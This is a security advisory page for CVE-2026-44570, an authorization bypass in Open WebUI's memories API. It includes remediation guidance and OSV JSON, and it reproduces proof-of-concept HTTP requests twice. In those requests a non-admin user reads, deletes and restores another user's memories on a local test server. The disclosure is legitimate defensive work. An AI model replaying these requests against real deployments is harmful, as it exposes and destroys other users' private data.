CVE-2026-44570: Open webui Open WebUI Has Inconsistent Authorization Vulnerability

HIGH
Advisory Identifier: GHSA-hmjq-crxp-7rjw
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CVSS 8.3
CWE-639
Published
Advisory Summary

CVE-2026-44570 is a HIGH (CVSS 8.3) open webui has inconsistent authorization vulnerability (CWE-639: Authorization Bypass Through User-Controlled Key) affecting Open webui libraries in the PyPI ecosystem. The issue involves open webui has inconsistent authorization controls within memories api. Remediation is available by upgrading affected packages to version 0.6.19.

CVE-2026-44570 at a Glance

CVE Identifier CVE-2026-44570
GHSA Identifier GHSA-hmjq-crxp-7rjw
Severity HIGH
CVSS v3.1 Base Score 8.3
CWE Classification CWE-639: Authorization Bypass Through User-Controlled Key
Affected Product Open webui
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability Low (A:L)

How to Fix CVE-2026-44570

To remediate this vulnerability, upgrade all affected Open webui dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

open-webui fixed: 0.6.19 
pip install open-webui>=0.6.19
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

pip show open-webui

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-44570, inspect your installed packages using pip:

pip show open-webui

Analyze the terminal output to locate any version of Open webui in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.6.19), your application is affected.

Note: The pip show open-webui command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-639: Authorization Bypass Through User-Controlled Key, where the system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. In Open webui, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Authorization controls surrounding the memories API were inconsistent, resulting in the ability of a standard user to delete, restore, and view the contents of other users' memories. ### Details Using a newly created non-admin user with no existing memories, it is possible to view existing memories via `POST /api/v1/memories/query`. See below under the PoC section, where a call to `GET /api/v1/memories/` returns `[]` (as expected) but a call to `POST /api/v1/memories/query` reveals memories created by other users. Similarly, even if a non-admin user cannot modify another user's memory data via `POST /api/v1/memories/{memory_id}/update`, the endpoint's response improperly leaks the content of that memory if a valid memory_id is known. The `DELETE /api/v1/memories/{memory_id}` can also be used by any user to delete an existing memory. Deleted memories can then be restored by calling the `POST /api/v1/memories/{memory_id}/update` endpoint again. ### PoC 1 **Example of a user with no memories able to query an existing memory from another user** ``` GET /api/v1/memories/ HTTP/1.1 Host: localhost:8080 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test Accept: application/json Content-Type: application/json Connection: keep-alive Content-Length: 0 --- HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:19:58 GMT server: uvicorn content-length: 2 content-type: application/json x-process-time: 0 [] ``` ``` POST /api/v1/memories/query HTTP/1.1 Host: localhost:8080 Content-Length: 19 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test accept: application/json Content-Type: application/json Connection: keep-alive { "content": "" } --- HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:22:01 GMT server: uvicorn content-length: 187 content-type: application/json x-process-time: 0 access-control-allow-origin: * access-control-allow-credentials: true {"ids":[["d6802d76-a50f-4255-b68e-0f60c335e043"]],"documents":[["My secret content"]],"metadatas":[[{"created_at":1752784616,"updated_at":1752864797}]],"distances":[[0.6216812525921495]]} ``` ### PoC 2 **Example showing excess output about a memory a user has no access to modify** ``` POST /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043/update HTTP/1.1 Host: localhost:8080 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test Accept: application/json Content-Type: application/json Connection: keep-alive Content-Length: 23 { "content": "" } --- HTTP/1.1 200 OK date: Fri, 18 Jul 2025 18:53:37 GMT server: uvicorn content-length: 172 content-type: application/json x-process-time: 0 {"id":"d6802d76-a50f-4255-b68e-0f60c335e043","user_id":"a050e531-356b-4673-8772-ff1aecdf3273","content":"My secret content","updated_at":1752864797,"created_at":1752784616} ``` ### PoC 3 **Example showing a memory being deleted then restored by a different user than its owner** ``` DELETE /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043 HTTP/1.1 Host: localhost:8080 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test accept: application/json Connection: keep-alive --- HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:31:19 GMT server: uvicorn content-length: 4 content-type: application/json x-process-time: 0 true ``` ``` POST /api/v1/memories/query HTTP/1.1 Host: localhost:8080 Content-Length: 19 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test accept: application/json Content-Type: application/json Connection: keep-alive { "content": "" } --- HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:32:31 GMT server: uvicorn content-length: 63 content-type: application/json x-process-time: 0 {"ids":[[]],"documents":[[]],"metadatas":[[]],"distances":[[]]} ``` ``` POST /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043/update HTTP/1.1 Host: localhost:8080 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test Accept: application/json Content-Type: application/json Connection: keep-alive Content-Length: 23 { "content": "" } --- HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:33:05 GMT server: uvicorn content-length: 172 content-type: application/json x-process-time: 0 {"id":"d6802d76-a50f-4255-b68e-0f60c335e043","user_id":"a050e531-356b-4673-8772-ff1aecdf3273","content":"My secret content","updated_at":1752864797,"created_at":1752784616} ``` ``` POST /api/v1/memories/query HTTP/1.1 Host: localhost:8080 Content-Length: 19 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test accept: application/json Content-Type: application/json Connection: keep-alive { "content": "" } --- HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:33:34 GMT server: uvicorn content-length: 187 content-type: application/json x-process-time: 0 {"ids":[["d6802d76-a50f-4255-b68e-0f60c335e043"]],"documents":[["My secret content"]],"metadatas":[[{"created_at":1752784616,"updated_at":1752864797}]],"distances":[[0.6216812525921495]]} ``` ### Impact Potential disclosure of sensitive data stored within a user's memories. Disclosure of unique user ID values to non-admins when viewing a memory.

CVE-2026-44570 Affected Open webui Versions

1 component(s)
Fixed Versions:
0.6.19
Product / Package Ecosystem Affected Versions Fixed Version
open-webui
pypi/open-webui
PyPI
< 0.6.19
0.6.19

References

GitHub Advisory / Wiki ADVISORY
https://github.com/open-webui/open-webui/security/advisories/GHSA-hmjq-crxp-7rjw
NVD — CVE-2026-44570 NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-44570
Open webui Source Repository REPOSITORY
https://github.com/open-webui/open-webui

Frequently Asked Questions

What is CVE-2026-44570?
CVE-2026-44570 is a security vulnerability in Open webui involving Open WebUI has inconsistent authorization controls within memories API under CWE-639: Authorization Bypass Through User-Controlled Key.
Which Open webui versions are affected?
Affected versions include releases prior to 0.6.19 across affected packages: open-webui.
What version fixes CVE-2026-44570?
Upgrading to 0.6.19 (or the latest patched release for your respective branch) resolves the vulnerability.
Is open-webui affected?
Yes, open-webui is affected in releases prior to 0.6.19. Upgrade your dependency to 0.6.19 or later.
What is the CVSS score of CVE-2026-44570?
CVE-2026-44570 has a CVSS v3.1 base score of 8.3 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L.
What CWE is associated with CVE-2026-44570?
CVE-2026-44570 is classified under CWE-639: Authorization Bypass Through User-Controlled Key (The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.).
How can I check PyPI dependencies for CVE-2026-44570?
Run the dependency tree command: 'pip show open-webui'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hmjq-crxp-7rjw",
  "modified" : "2026-05-19T15:57:47Z",
  "published" : "2026-05-11T14:25:49Z",
  "aliases" : [ "CVE-2026-44570" ],
  "summary" : "Open WebUI has inconsistent authorization controls within memories API",
  "details" : "### Summary\n\nAuthorization controls surrounding the memories API were inconsistent, resulting in the ability of a standard user to delete, restore, and view the contents of other users' memories.\n\n\n### Details\n\nUsing a newly created non-admin user with no existing memories, it is possible to view existing memories via `POST /api/v1/memories/query`. See below under the PoC section, where a call to `GET /api/v1/memories/` returns `[]` (as expected) but a call to `POST /api/v1/memories/query` reveals memories created by other users.\n\nSimilarly, even if a non-admin user cannot modify another user's memory data via `POST /api/v1/memories/{memory_id}/update`, the endpoint's response improperly leaks the content of that memory if a valid memory_id is known.\n\nThe `DELETE /api/v1/memories/{memory_id}` can also be used by any user to delete an existing memory. Deleted memories can then be restored by calling the `POST /api/v1/memories/{memory_id}/update` endpoint again.\n\n### PoC 1\n\n**Example of a user with no memories able to query an existing memory from another user**\n\n```\nGET /api/v1/memories/ HTTP/1.1\nHost: localhost:8080\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE\nUser-Agent: Test\nAccept: application/json\nContent-Type: application/json\nConnection: keep-alive\nContent-Length: 0\n\n---\n\nHTTP/1.1 200 OK\ndate: Fri, 18 Jul 2025 19:19:58 GMT\nserver: uvicorn\ncontent-length: 2\ncontent-type: application/json\nx-process-time: 0\n\n[]\n```\n\n```\nPOST /api/v1/memories/query HTTP/1.1\nHost: localhost:8080\nContent-Length: 19\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE\nUser-Agent: Test\naccept: application/json\nContent-Type: application/json\nConnection: keep-alive\n\n{\n  \"content\": \"\"\n}\n\n---\n\nHTTP/1.1 200 OK\ndate: Fri, 18 Jul 2025 19:22:01 GMT\nserver: uvicorn\ncontent-length: 187\ncontent-type: application/json\nx-process-time: 0\naccess-control-allow-origin: *\naccess-control-allow-credentials: true\n\n{\"ids\":[[\"d6802d76-a50f-4255-b68e-0f60c335e043\"]],\"documents\":[[\"My secret content\"]],\"metadatas\":[[{\"created_at\":1752784616,\"updated_at\":1752864797}]],\"distances\":[[0.6216812525921495]]}\n```\n\n### PoC 2\n\n**Example showing excess output about a memory a user has no access to modify**\n\n```\nPOST /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043/update HTTP/1.1\nHost: localhost:8080\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE\nUser-Agent: Test\nAccept: application/json\nContent-Type: application/json\nConnection: keep-alive\nContent-Length: 23\n\n{\n  \"content\": \"\"\n}\n\n---\n\nHTTP/1.1 200 OK\ndate: Fri, 18 Jul 2025 18:53:37 GMT\nserver: uvicorn\ncontent-length: 172\ncontent-type: application/json\nx-process-time: 0\n\n{\"id\":\"d6802d76-a50f-4255-b68e-0f60c335e043\",\"user_id\":\"a050e531-356b-4673-8772-ff1aecdf3273\",\"content\":\"My secret content\",\"updated_at\":1752864797,\"created_at\":1752784616}\n```\n\n### PoC 3\n\n**Example showing a memory being deleted then restored by a different user than its owner**\n\n```\nDELETE /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043 HTTP/1.1\nHost: localhost:8080\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE\nUser-Agent: Test\naccept: application/json\nConnection: keep-alive\n\n---\n\nHTTP/1.1 200 OK\ndate: Fri, 18 Jul 2025 19:31:19 GMT\nserver: uvicorn\ncontent-length: 4\ncontent-type: application/json\nx-process-time: 0\n\ntrue\n```\n\n```\nPOST /api/v1/memories/query HTTP/1.1\nHost: localhost:8080\nContent-Length: 19\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE\nUser-Agent: Test\naccept: application/json\nContent-Type: application/json\nConnection: keep-alive\n\n{\n  \"content\": \"\"\n}\n\n---\n\nHTTP/1.1 200 OK\ndate: Fri, 18 Jul 2025 19:32:31 GMT\nserver: uvicorn\ncontent-length: 63\ncontent-type: application/json\nx-process-time: 0\n\n{\"ids\":[[]],\"documents\":[[]],\"metadatas\":[[]],\"distances\":[[]]}\n```\n\n```\nPOST /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043/update HTTP/1.1\nHost: localhost:8080\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE\nUser-Agent: Test\nAccept: application/json\nContent-Type: application/json\nConnection: keep-alive\nContent-Length: 23\n\n{\n  \"content\": \"\"\n}\n\n---\n\nHTTP/1.1 200 OK\ndate: Fri, 18 Jul 2025 19:33:05 GMT\nserver: uvicorn\ncontent-length: 172\ncontent-type: application/json\nx-process-time: 0\n\n{\"id\":\"d6802d76-a50f-4255-b68e-0f60c335e043\",\"user_id\":\"a050e531-356b-4673-8772-ff1aecdf3273\",\"content\":\"My secret content\",\"updated_at\":1752864797,\"created_at\":1752784616}\n```\n\n```\nPOST /api/v1/memories/query HTTP/1.1\nHost: localhost:8080\nContent-Length: 19\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE\nUser-Agent: Test\naccept: application/json\nContent-Type: application/json\nConnection: keep-alive\n\n{\n  \"content\": \"\"\n}\n\n---\n\nHTTP/1.1 200 OK\ndate: Fri, 18 Jul 2025 19:33:34 GMT\nserver: uvicorn\ncontent-length: 187\ncontent-type: application/json\nx-process-time: 0\n\n{\"ids\":[[\"d6802d76-a50f-4255-b68e-0f60c335e043\"]],\"documents\":[[\"My secret content\"]],\"metadatas\":[[{\"created_at\":1752784616,\"updated_at\":1752864797}]],\"distances\":[[0.6216812525921495]]}\n```\n\n### Impact\n\nPotential disclosure of sensitive data stored within a user's memories. Disclosure of unique user ID values to non-admins when viewing a memory.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "open-webui"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.6.19"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/open-webui/open-webui/security/advisories/GHSA-hmjq-crxp-7rjw"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44570"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/open-webui/open-webui"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-639" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-11T14:25:49Z",
    "nvd_published_at" : "2026-05-15T22:16:53Z"
  }
}